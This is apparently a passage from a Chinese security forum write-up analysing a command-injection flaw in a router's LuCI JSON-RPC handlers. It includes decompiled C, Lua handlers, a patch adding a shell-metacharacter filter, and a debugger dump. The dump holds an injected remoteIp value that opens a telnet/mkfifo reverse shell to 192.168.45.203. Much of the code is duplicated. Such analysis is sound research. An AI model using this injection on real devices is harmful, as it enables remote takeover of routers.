            goto LABEL_56;
          }
        }
      }
      else
      {
        if ( *((_BYTE *)a1 + 43) )
        {
          v29 = json_object_new_boolean(1);
          if ( v29 )
            json_object_object_add(v20, "force", v29);
        }
        if ( *((_BYTE *)a1 + 44) )
        {
          v30 = json_object_new_boolean(1);
          if ( v30 )
          {
            v31 = v20;
            v32 = "configId_not_change";
LABEL_56:
            json_object_object_add(v31, v32, v30);
            goto LABEL_57;
          }
        }
      }
LABEL_57:
      v28 = *((unsigned __int8 *)a1 + 45);
LABEL_58:
      if ( v28 )
      {
        v33 = json_object_new_boolean(1);
        if ( v33 )
          json_object_object_add(v20, "from_url", v33);
      }
      if ( *((_BYTE *)a1 + 47) )
      {
        v34 = json_object_new_boolean(1);
        if ( v34 )
          json_object_object_add(v20, "from_file", v34);
      }
      if ( *((_BYTE *)a1 + 48) )
      {
        v35 = json_object_new_boolean(1);
        if ( v35 )
          json_object_object_add(v20, "multi", v35);
      }
      if ( *((_BYTE *)a1 + 46) )
      {
        v36 = json_object_new_boolean(1);
        if ( v36 )
          json_object_object_add(v20, "not_commit", v36);
      }
      if ( *((_BYTE *)a1 + 40) )
      {
        v37 = json_object_new_boolean(*((unsigned __int8 *)a1 + 41) ^ 1);
        if ( v37 )
          json_object_object_add(v20, "async", v37);
      }
      v38 = (_BYTE *)a1[3];
      if ( !v38 || !*v38 )
        goto LABEL_78;
      v39 = json_object_new_string(v38);
      json_object_object_add(v20, "data", v39);
LABEL_78:
      v41 = (_BYTE *)a1[4];
      if ( v41 && *v41 )
      {
        v42 = json_object_new_string(v41);
        if ( !v42 )
        {
          json_object_put(v20);
          json_object_put(v5);
          v40 = 630;
          goto LABEL_82;
        }
        json_object_object_add(v20, "device", v42);
      }
      json_object_object_add(v5, "params", v20);//将上面的v20当做了params的值,向v5中添加新的键值对
      v43 = json_object_to_json_string(v5);//json_object_to_json_string作用是将JSON对象转换为JSON格式的字符串
......
      v44 = uf_socket_client_init(0);
......
      v50 = strlen(v43);
      uf_socket_msg_write(v44, v43, v50);//最终调用uf_socket_msg_write,用socket实现了进程间通信,将解析好的json数据发送给其他进程进行处理
......
function rpc_auth()
    local jsonrpc = require "luci.utils.jsonrpc"
    local http = require "luci.http"
    local ltn12 = require "luci.ltn12"
    local _tbl = require "luci.modules.noauth"
    if tonumber(http.getenv("HTTP_CONTENT_LENGTH") or 0) > 1000 then
        http.prepare_content("text/plain")
        -- http.write({code = "1", err = "too long data"})
        return "too long data"
    end
    http.prepare_content("application/json")
    ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end
function rpc_auth()
    local jsonrpc = require "luci.utils.jsonrpc"
    local http = require "luci.http"
    local ltn12 = require "luci.ltn12"
    local _tbl = require "luci.modules.noauth"
    if tonumber(http.getenv("HTTP_CONTENT_LENGTH") or 0) > 1000 then
        http.prepare_content("text/plain")
        -- http.write({code = "1", err = "too long data"})
        return "too long data"
    end
    http.prepare_content("application/json")
    ltn12.pump.all(jsonrpc.handle(_tbl, http.source()), http.write)
end
function merge(params)
    local cmd = require "luci.modules.cmd"
    return cmd.devSta.set({device = "pc", module = "networkId_merge", data = params, async = true})
end
function merge(params)
    local cmd = require "luci.modules.cmd"
    return cmd.devSta.set({device = "pc", module = "networkId_merge", data = params, async = true})
end
devSta[opt[i]] = function(params)
    local model = require "dev_sta"
    params.method = opt[i]
    params.cfg_cmd = "dev_sta"
    local data, back, ip, password, shell = doParams(params)
    return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
devSta[opt[i]] = function(params)
    local model = require "dev_sta"
    params.method = opt[i]
    params.cfg_cmd = "dev_sta"
    local data, back, ip, password, shell = doParams(params)
    return fetch(model.fetch, shell, params, opt[i], params.module, data, back, ip, password)
function merge(params)
    local cmd = require "luci.modules.cmd"
    local tool = require("luci.utils.tool")
    local _strParams = luci.json.encode(params)
 
    if tool.includeXxs(_strParams) or tool.includeQuote(_strParams) then
        tool.eweblog(_strParams, "MERGE FAILED INVALID DATA")
        return 'INVALID DATA'
    end
 
    return cmd.devSta.set({
        device = "pc",
        module = "networkId_merge",
        data = params,
        async = true
    })
end
 
function includeXxs(str)
    local ngstr = "[\n\r`&$;|]"
    return string.match(str, ngstr) ~= nil
end
 
function includeQuote(str)
    return string.match(str, "(['])") ~= nil
end
function merge(params)
    local cmd = require "luci.modules.cmd"
    local tool = require("luci.utils.tool")
    local _strParams = luci.json.encode(params)
 
    if tool.includeXxs(_strParams) or tool.includeQuote(_strParams) then
        tool.eweblog(_strParams, "MERGE FAILED INVALID DATA")
        return 'INVALID DATA'
    end
 
    return cmd.devSta.set({
        device = "pc",
        module = "networkId_merge",
        data = params,
        async = true
    })
end
 
function includeXxs(str)
    local ngstr = "[\n\r`&$;|]"
    return string.match(str, ngstr) ~= nil
end
 
function includeQuote(str)
    return string.match(str, "(['])") ~= nil
end
//uf_socket_msg_read
 
  v31 = (_DWORD *)malloc_pkg();
......
  pthread_mutex_lock(v29 + 5);
  *v31 = v29;
  v52 = uf_socket_msg_read(*v29, v31 + 1);
  pthread_mutex_unlock(v29 + 5);
//uf_socket_msg_read
 
  v31 = (_DWORD *)malloc_pkg();
......
  pthread_mutex_lock(v29 + 5);
  *v31 = v29;
  v52 = uf_socket_msg_read(*v29, v31 + 1);
  pthread_mutex_unlock(v29 + 5);
pwndbg> x/4s 0x623850
0x623850:   "{ \"method\": \"devConfig.get\", \"params\": { \"module\": \"123\", \"remoteIp\": \"$(mkfifo \\/tmp\\/test;telnet 192.168.45.203 6666 0<\\/tmp\\/test|\\/bin\\/sh > \\/tmp\\/test)\", \"remotePwd\": \"\", \"async\": true, \"data\": "...
0x623918:   "\"{\\\"kkk\\\":\\\"abc\\\"}\" } }"
pwndbg> x/4s 0x623850
0x623850:   "{ \"method\": \"devConfig.get\", \"params\": { \"module\": \"123\", \"remoteIp\": \"$(mkfifo \\/tmp\\/test;telnet 192.168.45.203 6666 0<\\/tmp\\/test|\\/bin\\/sh > \\/tmp\\/test)\", \"remotePwd\": \"\", \"async\": true, \"data\": "...
0x623918:   "\"{\\\"kkk\\\":\\\"abc\\\"}\" } }"
//parse_content
  v3 = json_tokener_parse();
  v4 = v3;
......
  v6 = json_object_object_get_ex(v3, "params", &v18);
  v7 = v4;
  if ( v6 != 1 )//检查了 params 字段是否存在值
  {
LABEL_27:
    json_object_put(v7);
    return -1;
  }
  if ( json_object_object_get_ex(v4, "method", v19) != 1 )//检查了 method 字段是否存在值
  {
LABEL_26:
    v7 = v4;
    goto LABEL_27;
  }
  v8 = json_object_get_string(v19[0]);
  if ( !v8 )
  {
......
  }
  if ( strstr(v8, "cmdArr") )//因为发送的 method 字段不为 cmdArr,所以进入 else
  {
......
  }
  else
  {
......
    v16 = parse_obj2_cmd(v4); //进行数据解析的具体位置,v4为Json对象                 
    *v15 = v16;
    if ( !v16 )
    {
......
    }
    pkg_add_cmd(a1, v15);
    v15[2] = 0;
  }
//parse_content
  v3 = json_tokener_parse();
  v4 = v3;
......
  v6 = json_object_object_get_ex(v3, "params", &v18);
  v7 = v4;
  if ( v6 != 1 )//检查了 params 字段是否存在值
  {
LABEL_27:
    json_object_put(v7);
    return -1;

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 13
支持
分享
最新回复 (3)
雪    币: 2575
活跃值: (502)
能力值: ( LV2,RANK:85 )
在线值:
发帖
回帖
粉丝
2
厉害的,学习
2024-2-3 15:51
0
雪    币: 3070
活跃值: (30876)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
感谢分享
2024-2-4 09:32
1
雪    币: 2742
活跃值: (2810)
能力值: ( LV6,RANK:90 )
在线值:
发帖
回帖
粉丝
4
学习
2024-2-14 12:12
0
游客
登录 | 注册 方可回帖
返回
//